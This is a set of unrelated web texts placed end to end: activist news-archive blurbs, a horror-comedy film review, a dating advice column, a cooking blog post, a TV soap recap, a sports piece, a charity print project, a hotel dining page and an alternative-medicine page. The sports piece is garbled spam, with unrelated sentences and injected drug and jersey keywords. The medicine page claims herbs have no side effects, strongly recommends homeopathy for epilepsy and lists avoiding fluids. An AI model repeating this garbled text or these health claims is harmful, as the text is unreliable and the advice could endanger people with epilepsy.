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February 3, 2017
On Sept. 9, 2016, prisoners participated in the largest prisoner work stoppage in the history of the country. Prisoners in at least four facilities in Michigan joined in the work stoppage, including Kinross Correctional Facility. The next morning, after retaliatory actions from staff, Kinross prisoners held a peaceful demonstration in the yard. Since then, hundreds have faced harsh, unjust retaliation. Harold "HH" Gonzales was a spokesperson for the prisoners at the demonstration at Kinross and wrote this account.
October 8, 2015
Because of his experiences he encountered people from every background regardless of ethnicity, nationality, economic class, gender, social class, age and mentality. Therefore he was able to attract a crowd, speak to every person's heart and mind, reach and mobilize people towards what everyone essentially wants and needs; but specifically in the Black Community he was progressing the liberation work of his grandfather.
January 20, 2015
Hajj Malcolm Shabazz, the grandson of El Hajj Malik Shabazz, known commonly as Malcolm X, interviewed on Martin Luther King Day 2012, is asked, "How do you see the legacy of Dr. Martin Luther King?" Malcolm responds that when it comes to my grandfather's methods and the methods of Martin Luther King, we can't always all come at the enemy from the same direction, the same angle. Both are important. And we look beyond our differences to our common interests. And read Malcolm's telegram to Martin.
September 5, 2014
Congratulations to William Rhodes on a successful trip to South Africa, where he took a quilt created by his students at Dr. Charles Drew Elementary School in San Francisco to honor the legacy of an international hero, President Nelson Mandela, and returned with art panels from workshops conducted with youth in various townships and regions from Cape Town to Johannesburg.
June 22, 2014
The fiery H. Rap Brown, chairperson of SNCC, minister of justice for the Black Panther Party and one of the original four targets of the FBI's infamous COINTELPRO to neutralize Black power, is presently entombed in the federal prison at Florence, Colorado, one of the world's 10 worst prisons. Pursued relentlessly since the '60s, he was wrongfully convicted in 2002 – the prosecutor bragging that they finally got him after trying for 24 years. His wife, attorney Karima Al-Amin, tells his story on the Block Report.
December 31, 2013
In 1989, the following message was released to the Christian world in the form of an open letter by the revolutionary Muslim leader and martyr Muammar Qaddafi. Qaddafi is one of the few Muslim leaders who truly understood the revolutionary doctrine of Tawheed, recognizing the oneness of God and God's creation. In this New Year's message, Qaddafi invites all believers to enter into reflection and dialogue to solve the crisis confronting humanity.
October 26, 2013
My reality of the last 13 years is concrete and steel and that's it; no normal human relations for me. CSP-Sac was wide open. People were everywhere, 24/7, doing everything. I enjoyed every single bit of my human interaction. I talked more in a period of 12 days than I had in my whole 13 years of solitary confinement.
April 29, 2013
Pro-Israel forces inside the U.S. are willing to use their money to buy political influence and protection for Israel across the political spectrum. I do believe that much of the suffering could be alleviated if we would put sufficient energy and resources behind putting out in public view how the pro-Israel lobby misdirects U.S. and European policies and prevents pro-peace and justice politicians from ever having the opportunity to put those values, along with our basic human dignity, permanently on the table for public debate. – Cynthia McKinney
February 1, 2013
There are a lot of people out there who are concerned about how you spend your money. Embrace this glorious month of February and our incomparably rich history that extends back God knows where and support the future Gabby Douglases and Colin Kaepernicks and George Washington Carvers of the world by buying Black.
December 29, 2012
Since Dec. 13, 1994, Indiana political prisoner Khalfani Malik Khaldun has been held in control units, i.e. administrative segregation or isolation. It began when police and prison investigators manufactured a murder charge against him after a guard was stabbed and killed. Brother Khalfani is a Muslim and New Afrikan revolutionary educator who professes a strong sense of radical politics and culture.
May 17, 2012
Brother Hugo, you inspire me to do better. After I read your letter to your comrade Terry, you sent me into a thinking and reflecting mode. I am a 24-year-old Afrikan revolutionary fighter, and I have been going through a transformative process using the Malcolm self-evolvement way.
May 17, 2012
If we would have been self-transforming for the last 60, 50 years, there would not be millions of new slaves today and we would have the power to be making an impact and difference toward the building of the New World. Our teachers kept saying: "No matter what, we gotta keep pushing and growing. It's the only way to continue our growth and become free."
May 7, 2012
Over 1,600 Palestinian prisoners are currently engaged in a steadfast and open-ended hunger strike that launched on April 17, 2012, Palestinian Prisoners' Day. They are demanding an end to solitary confinement; access to family visits for all prisoners; and access to education and media. And they are demanding international solidarity.
March 17, 2012
Imam Jamil Al-Amin (H. Rap Brown) is one of the most revered Black revolutionary leaders from the '60s who is alive today. He was a legendary organizer with SNCC and briefly with the Black Panther Party, then later in an Islamic community in the West End of Atlanta, Georgia. This is one of the true fathers of rap music. Atlanta will rally Monday, March 19, 3-5 p.m., at the Georgia Capitol, 206 Washington St., to bring Imam Jamil back to Georgia from federal prison in Florence, Colo.
February 4, 2012
This is the month we wear our Blackness with pride – so walk on, walk on. I want to thank Rhodessa Jones, Shaka Jamal, Pat Jamison, Elaine Lee, Walter Turner, Vera Nobles and Elouise Burrell for your leads and references for South Africa.
August 20, 2011
British Prime Minister David Cameron has lost legitimacy as a result of the brutal suppression of peaceful demonstrators and should resign. Statements to this effect were made nearly simultaneously by leading Iranian and Libyan politicians. Khalid Kaaim, deputy head of the Libyan Ministry of Foreign Affairs, stressed that Cameron and his government have completely lost their legitimacy and should leave after the mass protests and violent police actions against the participants in peaceful demonstrations.
August 16, 2011
Lynne Stewart is one of the legendary activist lawyers of our time and also one of the many political prisoners of our time, who was incarcerated because her style of lawyering was called aiding and abetting a terrorist organization, by one of the biggest terrorist organizations ever known to humanity: the United States government.
August 16, 2011
Every Muslim and Christian Palestinian refugee in Lebanon and every Lebanese citizen whose family members or loved ones were slaughtered during Israel's two massacres at Qana, Lebanon, is reminded today of the indescribable loss suffered Sunday by their Libyan sisters and brothers at Majer, Libya.
August 4, 2011
How well indeed the creator saw fit to have the Muslim population worldwide join the hunger strike started by brothers in the Security Housing Unit (SHU) at Pelican Bay July 1, which continues in other California prisons, including I heard at the Central California Women's Facility (CCWF).
June 30, 2011
Why am I going on the Freedom Flotilla II to Gaza? It seems to me that during this period of eldering it is good to reap the harvest of one's understanding of what is important, and to share this, especially with the young. How are they to learn, otherwise?


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Directed by: Joe Dante
Written by: Alan Trezza
Cast: Anton Yelchin, Ashley Greene, Alexandra Daddario
Running Time: 89 Minutes
UK Certificate: 15
Studio: Image Entertainment
Max, played by Anton Yelchin (Terminator Salvation, Star Trek), is in a relationship with Evelyn, played by Ashley Greene (Twilight Saga). Evelyn is wanting to save the world in the most organised, eco-friendly way imaginable. She is unstable, irritating and often uses guilt to make Max believe he is in the wrong. Poor Max.
Working in a horror store, Max finds a Satan/genie trinket that apparently grants the wisher their hearts desire 'the evil way'. Max promises Evelyn, bated by the promise of fancy-dress sex, that they will always be together forever in front of said item. The major issue is that Max is getting ready to break of the relationship, she is a control freak and folding away his classic, imported, movie posters is the last straw. In a freak accident, Evelyn is killed, allowing Max to get out of the relationship without breaking her heart.
After a period of mourning Max moves on and meets the beautiful Olivia, Alexandra Daddario (San Andreas, True Detective), a girl who was seemingly made for him, she's beautiful and quirky, relaxed and funny, everything Evelyn was not. Here arises the problem as Evelyn rises from her grave, believing that Max will greet her with open arms, after all she still thinks they are together and can pick up from where they left off, regardless of her smell and rotting flesh.
Based on a short story by writer Alan Trezza, the screenplay is witty and fully formed, but doesn't rely on the usual tropes of a film of this type. Joe Dante directs confidently and with a flair usually seen by younger, indie directors. Dante is known for being able to mix horror and comedy successfully, early successes being The Howling, Gremlins and Piranha. With 'Burying the Ex' he continues this skill to great effect.
The three main leads are all wonderfully cast. Ashley Greene is perfect as the crazy, clingy, controlling, undead, Evelyn. Anton Yelchin has true sparks with Alexandra Daddario, they play off each other extremely well and you really feel their connection crackle on screen. The make up for Evelyn is a wonderful use of prosthetics and reminds us of how a little can go a long way, a small amount of CGI is used to create a few body contortions, or at least I believe it was CGI, otherwise Ms Greene is one flexible young lady.
Burying the Ex is a black comedy with heart, a sometimes funny film, which should give the audience a grin, if not a chuckle from time to time. It was nice to see director, Joe Dante, returning to the type of stories that helped him make his name and hope it prompts him to try his hand at something bigger, something akin to one of those wonderful gems from my childhood such as Innerspace, Explorers, The 'burbs and Gremlins. I can recommend Burying the Ex to anyone who likes things a little quirky, a little fresh or anyone who wants to see if Mr Dante hasn't lost his touch…FYI he hasn't.
Movie Rating: 7/10

subset: commoncrawl


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Dear Becca,
I feel these days we live in a society where kissing has become the new m/f handshake, we kind of take it for granted, nobody seems to enjoy just a nice make out session anymore and usually it leads straight to the bedroom. That being said, is sex on the first date acceptable? Can you still really be into someone after they lay it all on the table the first night? And what is the best way to tell someone that sex isn't what you are immediately interested in, without sounding like a wet blanket.
Wanting to Wait Bro
Dear Wanting to Wait Bro,
This is a tough question because there is no right answer. Everyone has their own rules about how long to wait before "going all the way". First of all, I could not agree with you more on your first point about taking kissing for granted. I also find it so refreshing to hear a guy say that! Kissing can be a wonderful and romantic thing. I love it when I hear a friend talk to me about the beginning stages of a relationship, and they tell me how they made out "like high schoolers" at the end of the date, and that was it. You can tell so much about the chemistry you have with someone just from kissing. If you have bad kissing chemistry with someone, that can be very telling about the future of your intimate encounters.
However, it's a different ball game once you bring sex into the picture. When giving my pals advice on this, I always tell them to be sure that they're ready to have sex, because once you bring sex into the picture, you can never go back to the making out like teenagers stage. Once you start, it is expected that you will have sex after every date or every time you see each other. If you're ready for that, I say go for it (just make sure you use protection)!
I do not want to give a "yes" or "no" answer to your question about whether or not sex on the first date is acceptable because everyone is so different, and every first date is different. A lot comes into play when thinking about this. A first date with someone could mean in some cases that it is the first time that you are actually meeting this person in real life, or it could mean you've been friends or even make-out buddies for a while, and now you're taking the next step and attempting to date each other. I know people who have waited weeks or even months until sleeping with their current boyfriends/ girlfriends, and I also know people who have slept with their current bf/ gf on the first or second date. All of these people have happy and healthy relationships, so I can't say whether waiting or not waiting for sex had a major effect on the future of the relationship.
It sounds like from your question that you lose interest with someone after having sex in the first date. It is important to recognize this about yourself. If you go out with a girl, and she gives you the green light to have some sexy time, you can tell her that you want to wait a little longer. Her ego may hurt a little bit because most girls have it ingrained in their brains that men always want and think about sex, and turning her down may make her assume you're not interested. It is very important that you communicate to her that you do want to sleep with her (very badly), but you are concerned that you are rushing things and want to take the time to get to know her before you have sex. If you make it clear to her that you are sexually attracted to her, but you just want to wait a little bit longer before doing "it", she should respond well. If she guilt trips you about it or makes you feel like a "wet blanket" then she's probably not worth your time anyway.
For all you ladies out there reading this and have the same question, I think it's generally a good rule of thumb to wait until at least the 3rd or 4th date to sleep with someone. I only say this because of the countless men I've talked to who agree that they lose interest in dating a girl if you sleep with him right away. But, like I said earlier, everyone has a different view on this, and some guys may find it sexy that you have the confidence and sex drive to sleep with them right away.
Generally speaking, I think we all like a little bit of mystery and build-up. If you wait a little bit longer, think of all the sexual tension you have built-up over the past couple/ multiple dates (sexy). Regardless of what you all decide to do, just make sure that you feel comfortable (don't give into pressure), use protection, and have sex because it's what YOU want.
Hope this was helpful! I know this is a hot topic, so readers, please feel free to voice your opinions on the matter!
E-mail me at email@example.com for more questions!
Connect with me on Twitter – @noturaveragebr0 – and check me out on Facebook!


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Cooking For One
Fact: I hate cooking alone. I hate making meals for just myself. It feels depressing/boring. And I definitely don't look as cute as Audrey Hepburn when I cook. Most of the time, I eat alone because my 4 other roommates work late and my boyfriend lives 2 states away. But guess what! My boy is coming to visit tomorrow and I am so excited! Plus, my friends Margaret and David are at Margaret's sister's wedding (wish I could be there) so I am apartment/puppy sitting for them! I am obsessed with their apartment. It is so perfect and clean and modern and perfect and I am obsessed with it. Tomorrow my boyfriend will be here and we can cook together in this lovely little space and eat together. Yay!
10 comments:
- ...on the brink of something beautiful said...
yea i dont like just cooking for myself either. which may explain why i eat so horribly.
thats awesome that your bf is going to visit!! hope yall have an awesome time together!!
- April 14, 2010 at 7:23 PM
- Max said...
It's going to be hard to cook together when we're eating at Dick's every night...
- April 14, 2010 at 8:33 PM
- Roxanne said...
Have a blast cooking and lauhging with the boy!
- April 14, 2010 at 11:02 PM
- Barnicles said...
i feel the same, i actually love having a flatmate to cook for! makes it so much more interesting.
My boyfriend lives miles away too! like 7 hours! it sucks sometimes but other times i love having the bed to myself ;)
:) have fun!
- April 15, 2010 at 3:57 AM
- Allie said...
First of all, love your Boy's comment... Reminds me of Joseph. Poopoo head. Second, OMG!!! I can't wait to COOK with you!!! Let's make amazing things. I will just cycle on over to M & D's apartment because I live very close to them. I can't wait. Friday? Saturday? Call me!!
- April 15, 2010 at 8:44 AM
- aubrey said...
I am totally with you. My husband works second shift now so I rarely feel like bothering to make an actual dinner for just me. Have fun this weekend (and save some leftovers so you don't have to cook during the week!)
- April 15, 2010 at 6:58 PM
- Margaret said...
I hate cooking for one too. its fun being able to cook for Riley and i during the day. i love our little lunches.
Enjoy your boyfriends visit! I wish i was the Margaret you were talking about in your blog:)
- April 15, 2010 at 10:03 PM
- Margarita said...
Have fun cooking! Cooking for one isn't fun sometimes, but if you make it a challenge it can be so exciting. Good luck :)
- April 16, 2010 at 7:07 AM
- Robyn said...
I know the feeling. I eat a lot of peanut butter sandwiches for just that reason.
- April 16, 2010 at 12:44 PM
- teacup adventure said...
I've never seen this audrey picture before... too adorable.
- April 18, 2010 at 5:19 AM


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Yeh Rishta Kya Kehlata Hai 30th December 2013 Written Episode Update
Yeh Rishta Kya Kehlata Hai 30th December 2013 Written Episode, Yeh Rishta Kya Kehlata Hai 30th December 2013 Written Update
The Episode starts with Naitik talking to Akshara and missing Maa. He says I got another chance in life, but Maa could not. She left us forever. He says Maa always wanted to celebrate Naksh's birthday even when I was in coma, still she celebrated it for Naksh's happiness, I m doing the same thing which she would have done. Evern I feel sad and miss her as everyone does, I want everyone to smile talking about Maa, not cry. Akshara says Naitik, your thoughts are very nice, but everyone are very sad and won't be able to understand you.
Naitik says what will they do, why should we care about the society, I don't liked it, I m not against the rituals. She says I understand you but we all stay in the same house and can' go against our family. She
Akshara hugs him. Naitik comes to Maa's room and sees Maa's photo. He says this room will always have her memories. They cry feeling Maa has gone. Naitik checks the cupboard and finds a note about Maa's thoughts about Naksh's birthday. They are shocked that Maa had planned everything about Naksh's birthday. Naksh comes and says I don't want a party. Naitik asks why. Naksh says Maa is not with us and everyone are sad, they won't feel good if we throw a party.
Naitik says no, they all love you and want to see you happy. Naksh says they always cry. Naitik says yes, I know, I want to make them happy and I want to celebrate the birthday for Maa's sake. He tells Naksh that Maa has started planning for you birthday and she will be sad if we don't celebrate. Ananya and everyone are talking about Naksh's birthday. Varsha says what should we do now. Rajshri says even I m worried what to do, the elders are not ready still Naitik is celebrating, maybe they can feel bad.
Kaki says think about the society, what will they say. Dadi says it's a birthday of a kid, its important day for Naksh and think about him, its not his mistake. Dadi says I think Naitik is doing this right. Akshara comes to Bau ji while Naitik is talking to Naksh. Naksh says I have written a letter to Maa looking at the stars. Akshara comes and joins him. Akshara says Maa can see you anytime. Akshara and Naitik celebrate the birthday with Naksh singing the birthday song.
Its morning, Naksh greets everyone by touching their feet and talks their blessings. Akshara talks to Naitik. Chikki leaves seeing everyone. Everyone are sad at home and talk why did Naitik keep the party. Nandini says I don't know what to do. Ananya comes and meets Naksh and wishes him happy birthday. Akshara's family comes. Rama comes and gifts Naksh and says happy birthday.
Naksh says how can we starts the party, no one is coming, I wish Maa was with us. Naitik goes to convince everyone. Naitik and Akshara play Maa's video and everyone come hearing her voice. Rukmani also comes. Everyone come out and happily celebrate Naksh's birthday. Naksh is happy. Akshara and Naitik look at each other and smile.
Akshara calls Rama and says can we have Rashmi here with us for her delivery. Rama tells this to Rashmi.
Update Credit to: Amena_Hasan


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"His thoughts were that it would be great after a ball game for one voice, giving him time to watch the film and then review it with (reporters) at his appointed time," Riley said. This figure compares to Bureau of Labor Statistics (BLS) data from May 2010 estimating the annual mean wage of low level cheap nhl jerseys pills online collegiate team staff members at $49,140, or $23.62 before taxes and benefits.
A: Let me first explain the third quarter a bit. They're given all kinds of negative messages about their masculinity. The person confirmed the discussions to The Associated Press on condition of anonymity because the league and teams aren't talking publicly about the options..
One explanation the commissioner offered that sounded very much like an excuse was that viewers haven't been lost; they're just not sticking with games as long as they did last year, when ratings reached all time highs. The Super Bowl itself has drawn $5.9 billion in inflation adjusted ad spending since 1967..
We're keen on making sure that teams will be able to share in the Overwatch League's overall financial success and be rewarded for investing in their home cities. 13. Protesting the anthem, with the flag on full display, is a complicated and infuriating gesture..
A: You must be a long time fan, Jon, because I really don't remember stripes on NFL footballs. The team had run out of room on the facade where their first four banners were displayed. It a problem when teams pay a quarterback a top contract, because then the shortcomings at other spots will become more of a problem.
He was questioning himself, which he never did. Tomlin had said before the game that Pittsburgh's players would remain in the locker room and that "we're not going to let divisive times or divisive individuals affect our agenda." Tomlin added that the Steelers made this choice "not to be disrespectful to the anthem but to remove ourselves from this circumstance.
The Dolphins had to settle for a 28 yard field goal by Parkey to cut their deficit to 17 13, and he later hit a 35 yarder to whittle the deficit to 17 16.. In part because of the lack of leverage of the players' union, there isn't any real rhyme or reason to how punishments are doled out; it vestidos de fiesta para gorditas otc celebrex depends on how much attention the offense receives and how bad it makes the league look.
He broke away from the pack and scampered untouched down the field for what should have been an easy touchdown.. With Walter Payton and Jim McMahon adopting the rap monikers "Sweetness" and "Punky QB," respectively, the team sounds about as menacing as a Saturday morning cartoon villain.
It a whole defensive effort. And maybe he does at least to some extent. What you don't hear are solutions other than "executing" better. The NHL Awards, Drake, and authentic pizza. Broncos coach Vance Joseph said Miller is putting his imprint on games even without getting his hands peto vaquero mujer on the quarterbacks.
"Nevertheless, the development of biologically based diagnostics is critical for return to play decisions for the NFL, and return to combat/training for the armed forces. While the addition of Ronald Darby via trade upgraded a position that desperately needed new blood, cornerback could again be the weak spot of the Eagles defense.
Most of the retirees are in their 40s and 50s, although one, Pat Heenan, a Redskins defensive back in 1960, is 73. Not the first time CFL players have come together. However, for many survivors their odyssey doesn't end with intervention. Defensive end Akiem Hicks was a tremendous force the day after signing his four year extension with $30 million guaranteed.
The only thing close to this was when we won the championship in my second year in real football. "We lost landscaping and a section of roof panels in 1 corner. Rookie defensive end Derek Barnett has racked up three sacks over two preseason games, and the 14th overall pick could be in line for his first exhibition start after two veteran pass rushers (Brandon Graham and Vinny Curry) suffered injuries in practice this week.
ExtrasFalcon Cheerleaders do have opportunities to receive appearance fees for attending other events that organizations or charity events might hire them. Fitness routine: I do something for my body every day. Lang (shoulder) practiced after starting camp on the physically unable to perform list..
If a team falls in love with me and wants to draft me, that's awesome. When girl's parents found out that the state of Mississippi wasn't interested in prosecuting (let that sink in), they took the company and alleged molester Dale Townsend to the tribe's civil court for punitive damages.
23. After that, the Vikings applied live bodies (we think) to various undermanned positions. Announced it would no longer make the product available for high rise buildings.. Could be veteran Khalif Barnes, who hasn't started a game at left tackle in nearly four years..
One of the best ways to bring in new talent to bolster your team's strength is to pick up good players. It's to give an idea of some names beyond the first round. QB Ben Roethlisberger is shouldering most of the blame for the Steelers' struggles. The Times Stefanie Loh, watching from Seattle, had some thoughts afterward..
We got 15 people in the [defensive backs] room, and I think all of them could be difference makers on this team.. Last season he was with the San Francisco 49ers. And we both know you wouldn't miss them for the world. Sporty GiftsIf the 16 year old is a sports fan and/or athlete, there are a number of gift options.
The clash, and the president focus on it, came even amid growing fears of conflict with a nuclear North Korea, as people in Puerto Rico struggle without power, and as a long stated Republican goal, repealing the Affordable Care Act, threatens to again crumble.
His recent work can be found in Sun Herald and he also writes for the Regional Indoor Football League and the Sarasota Scorpions. According to Bob Dorfman, the executive creative director of Baker St. The fact is that it's not good enough anymore to have just one elite offensive talent.
There is little guaranteed money starting in 2021 the first or second year of a Wentz contract, depending upon what year such a deal is signed. Hall of Fame running back Earl Campbell "can barely walk," and "quarterbacking legend John Unitas lost the use of [his] hands and fingers.".
A baseball game is more of a wise old man kind of sport, where patience and number crunching are paramount. The USA Football program sponsors national teams for the best youth players in the country. Having a capable starter under center in the NFL is a huge advantage.
The Vikings have been so far able to endure a slew of injuries to important players that many other teams wouldn't, with a well constructed roster of players exemplifying coach Mike Zimmer's defiant personality. "As these CTE cases pile up with families like the Buonicontis going public or the Kiicks going public or who knows who is going to be next, but we know there are going to be more people coming forward with this problem.
We have asked that a neutral and jointly selected arbitrator hear this case as the commissioner and his staff will be essential witnesses in the proceeding and thus cannot serve as impartial arbitrators.". However, it was a completely different story in the second half for Cook, whose 127 yards on 22 carries broke Adrian Peterson 2007 record of 103 for most yards by a Minnesota rookie in the opener..
CBS Sports RadioFor the best national perspective on the sports world, check out the new CBS Sports Radio on our HD2 channel.A Millennial Guide To MovingIf you feeling overwhelmed by an upcoming move, check out our handy guide for helping get you prepared and keeping your stress level down.Mexico 5 Best All Inclusive ResortsHead south of the border for an all inclusive Mexican resort when you ache for warm and gentle ocean breezes, more pools than you can handle, a spa experience that will wow you and no jet lag to put your body clock off kilter.Latest Cleveland SportsColin Kaepernick Files Grievance Against NFL, Alleging CollusionKaepernick opted out of his contract with the 49ers at the end of last season and remains a free agent despite a rash of injuries and poor play at the quarterback position.What Next For Browns? A 5 Step Plan To Fix The Broken FranchiseWith another round of changes all but inevitable at this point, here is our 5 step plan for fixing the Cleveland Browns.Cavaliers Still Focused On Cavaliers, Not Kyrie Prior To OpenerTuesday is the first day of the regular season for the Cleveland Cavaliers.
The Chargers pass rushing duo might be the NFL's best. Among Republicans, 76 percent approve of Trump disaster response stateside while 62 percent approve of how he handling the situation in Puerto Rico. Although those are the only eight players who played for Reid, others in the building also have memories.
Nor am I advocating such a course. "The National Football League and its owners have shown their fans and marketing partners that they do not have a comprehensive policy to ensure that players stand and show respect for America and our flag during the playing of the national anthem," Steve Kalafer said in a statement.
Kaepernick was not considered for the spot.. Knowing he more than delivered on his promise to Myrtle Collins, McKinley smile had stretched from ear to ear by the time left the green room and arrived in front of the crowd to display a Falcons jersey bearing his name.
"It changed my game, and it changed my body," he says. And his statement said a lot when he mentioned that our players are working to improve our community because that's what the protest is really about. A clown's salary will vary depending on factors such as work hours and employer..
He didn't get caught up in a dogfighting ring, the way Michael Vick did.. Earlier this year, Dynegy's David Onufer said the distance between the river and New East Ash Pond berm was increased by nearly 30 feet through the stabilization project. Television ratings are down across the board.
The highlight was a spectacular one handed catch by wide receiver Kasen Williams for a 27 yard gain. It intended for DirecTV satellite subscribers who pay an extra fee, though a $280 per season online package is available if you live in an apartment building or at a location where DirecTV satellite signal is obstructed.
Retired to help run the family florist business, which still operates on Troy Street as Furst Florist and Greenhouses.. Marriott's unmatched Pro Bowl and Super Bowl moments will be announced and auctioned in the coming weeks.. Even though I'm a rookie, I'm still playing amongst some of the greatest players to ever play this game, so I have to step up and be a key contributor to the team..
In a study review on milk thistle commissioned by the National Center for Complementary and Alternative Medicine, researchers found that the herb may help enhance liver function, possibly by protecting against cell damage and stimulating repair of liver tissue.
Just how things are done in Green Bay, period, Dupre said. Marshawn Lynch and crew will be counted on for another big performance against a Los Angeles defense that ranks last in the league against the run this season, allowing 161.2 yards per game and 5 yards per carry.
It was the greatest terrorist attack on our country. Los Angeles Rams kick returner Pharoh Cooper returned the game's opening kickoff 103 yards for a touchdown and Jacksonville rookie running back Leonard Fournette had a 75 yard touchdown run on the Jaguars' first play from scrimmage in the Rams' 27 17 win, marking the first game in the Super Bowl era with two touchdowns of at least 75 yards in the first 30 seconds of a game..
Similarly to what the league already implements for breast cancer awareness, honoring military, etc, we would like November to serve as a month of Unity for individual teams to engage and impact the community in their market.. But Alabama is killing its opponents.


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Going…Going…Gone…Red13 March 2011
Going…Going…Gone…Red is a great project created by The Partners for Richard House Children's Hospice. The idea behind this project allows you to create your very own one-off print.
Each print is a kind of frankenstein corpse made up of 3 sections (heads, bodies and legs) each section is created by 120 of the finest illustrators including Adrian Johnson, Jean Jullien and Mr Bingo.
There are 64,000 unique combinations, however only one of each combination will be produced as a print. The money raised goes to help the children at Richard House.


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Authentic Florentine Cuisine and Historic Halls
Experience historic traditions during time spent dining at Bernini Palace Hotel, with a range of cuisine options available sure to entice any traveler's unique palate. When looking to enjoy cuisine or cocktails from the comfort of a guestroom, 24-hour room service is available.
Be whisked away into the 15th century with a stop at Sala delle Colazioni for a sumptuous buffet breakfast, with seating underneath an unforgettable frescoed ceiling. Here, the Parliament as well as Italian senatorswould convene over a meal. Guests are welcomed in daily from 7:00 a.m. until 10:30 a.m to enjoy baked goods, homemade and organic dishes, and gluten free options.
La Chiostrina, welcomes travelers into the lobby to enjoy fine dining specialties amid a tranquil ambiance. Delight in authentic Florentine dishes from a seasonal menu beginnning at 7:30 p.m. through 10:30 p.m. daily.
For eclectic cocktails complemented by a lively atmosphere, The Lounge Bar offers small plate appetizers for brunch and lunch hours, as well as an extensive list of regional wines. Taste the Negroni, which was crafted in Florence back in 1919 for a special tie-in to the city's history.


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Ayurveda, which is an age old medicinal practice and has its own influence on the very important and intimate aspect of one's life that is the sex life of a person. Vajikarna, better known as 'vishwachikitsa', is one of the specialities in the field of Ayurveda that deals with aphrodisiacs and virility leading to good physique and freedom from impotency. The various herbs of Ayurveda help in curing major sexual problems, such as penile dysfunction, premature ejaculation and sexual exhaustion.
Here are a few reasons why Ayurvedic treatments should be preferred over conventional ones:
- The base of Ayurvedic treatments is all natural: The base of Ayurvedic treatments consists of herbs, plants, fruits and all vegetation growing around you. The usage of all natural elements for treatment of sexual diseases is more promising as they do not cause any side-effects as opposed to usage of supplements loaded with chemicals which might throw off the hormonal balance of your body.
- Ayurveda stresses on curing the 'doshas': The three 'doshas' in the body are 'kapha', 'vata' and 'pitta' and Ayurveda focuses on removing these 'doshas' along with curing the diseases. Removing these doshas while curing sex diseases is a major benefit of using Ayurveda because it helps you attain a better orgasm.
- Use of Ayurvedic herbs:
- All the medicinal plants used in Ayurveda are devoid of any side effect and help in reversing the side effects of over masturbation by strengthening the nervous system and increasing the blood flow to the penile area.
- Ashwagandha: This herb not only helps in getting rid of the side-effects but also prevents them from resurfacing. As an additional benefit, it helps in increasing the flow of libido, thus, reducing sexual exhaustion.
- Focus on overall well-being: Ayurveda is concerned with the overall physical well-being of the patient across all spheres that is physical, psychological, spiritual and is beneficial to social wellness as well while allopathic treatments rely solely on bio-chemistry and focus on fixing only one sexual problem at a time.
Treatment of Epilepsy & Convulsions
Homeopathic Treatment of Epilepsy & Convulsions
Acupuncture Treatment of Epilepsy & Convulsions
Psychotherapy Treatment of Epilepsy & Convulsions
Conventional / Allopathic Treatment of Epilepsy & Convulsions
Surgical Treatment of Epilepsy & Convulsions
Dietary & Herbal Treatment of Epilepsy & Convulsions
Other Treatment of Epilepsy & Convulsions
What is Epilepsy & Convulsions
Symptoms of Epilepsy & Convulsions
Causes of Epilepsy & Convulsions
Risk factors of Epilepsy & Convulsions
Complications of Epilepsy & Convulsions
Lab Investigations and Diagnosis of Epilepsy & Convulsions
Precautions & Prevention of Epilepsy & Convulsions
Treatment of Epilepsy & Convulsions
Homeopathic Treatment of Epilepsy & Convulsions
Homeopathy is strongly recommended for the treatment of Epilepsy & Convulsions. Homeopathy calms one's brain from the terrible jerks with out any side-effects. Homeopathy can really do wonders for these patients. Following are some homeopathic remedies for epilepsy and convulsions.
Calcarea carbonica
Cuprum Metallicum
Nux vomica
Acupuncture Treatment of Epilepsy & Convulsions
Acupuncture is very useful for epilepsy, depending upon the type and extent of a person's epilepsy. Acupuncture treatment helped reduce the frequency and severity of their seizures. Acupuncture targets the cause of an illness.
Psychotherapy and Hypnotherapy Treatment of Epilepsy & Convulsions
Psychotherapy and hypnotherapy helps to address the problems commonly experienced by epilepsy and convulsion patients and their families. Psychotherapy and hypnotherapy can help in stress relief. They can help in better coping and early relief.
Conventional / Allopathic Treatment of Epilepsy & Convulsions
Carbamazepine is usually used as a first line of treatment in epilepsy.
Long-term anticonvulsant drug therapy is the most common form of epilepsy treatment.
Surgical Treatment of Epilepsy & Convulsions
Surgery is used when drug treatments fail and the brain tissue causing the seizures is confined to one area and can safely be removed without affecting speech, memory or some other important brain function.
Dietary & Herbal Treatment of Epilepsy & Convulsions
Diet rich in fatty foods like cream, butter and mayonnaise.
Avoid vegetables, bread, pasta and fluids.
Reducing the intake of carbohydrates
Other Treatment of Epilepsy & Convulsions
Yoga helps to re-establish a balance between those aspects of a person's health that cause Epilepsy & Convulsions.
What is Epilepsy & Convulsions?
Epilepsy is a disorder in which nerve cells of the brain from time to time release abnormal electrical impulses. Epilepsy is a physical condition caused by sudden, brief changes in how the brain works.
Symptoms of Epilepsy & Convulsions
Syncope or fainting
Unusual rolling of the eyes
Clenching or grinding of the teeth
Noisy breathing
Loss of control of the bowel or bladder
A slight jerking movement of the head or an arm
Causes of Epilepsy & Convulsions
Genetic Disorders
problems during birth
an infection in the brain
Kidney and Liver Failure
brain damage from a stroke or head Injury
drug and Alcohol Abuse
Alzheimer's Disease
Brain Tumor
Kidney and Liver Failure
Risk factors of Epilepsy & Convulsions
Medical Conditions
Heart, Kidney and Liver failure
Genetic Factors
High fever
Poor nutrition
Exposure to Lead and Carbon monoxide
Medication interactions
alcohol or illegal drugs
Complications of Epilepsy & Convulsions
Car accidents
Pregnancy complications
Sudden Death
Learning Disabilities
Chronic Brain Damage
Diagnosis of Epilepsy & Convulsions
Diagnosis of epilepsy usually depends upon lots of different things, including the patient's medical history and the circumstances when seizures occur. They will also ask about what happens during seizures. If epilepsy is serious and difficult to control, brain surgery (neurosurgery) may be an option.
Precautions & Prevention of Epilepsy & Convulsions
Use safety belts and helmets while driving or skating
Avoid cigarettes
Controlling blood pressure
Control of fever in children
Safe delivery
Limit intake of alcohol
Follow a healthy diet
Treatment of Erectile Dysfunction
Homeopathic Treatment of Erectile Dysfunction
Acupuncture & Acupressure Treatment of Erectile Dysfunction
Psychotherapy Treatment of Erectile Dysfunction
Conventional / Allopathic Treatment of Erectile Dysfunction
Surgical Treatment of Erectile Dysfunction
Dietary & Herbal Treatment of Erectile Dysfunction
Other Treatment of Erectile Dysfunction
What is Erectile Dysfunction
Symptoms of Erectile Dysfunction
Causes of Erectile Dysfunction
Risk factors of Erectile Dysfunction
Complications of Erectile Dysfunction
Lab Investigations and Diagnosis of Erectile Dysfunction
Precautions & Prevention of Erectile Dysfunction
Treatment of Erectile Dysfunction
Homeopathic Treatment of Erectile Dysfunction
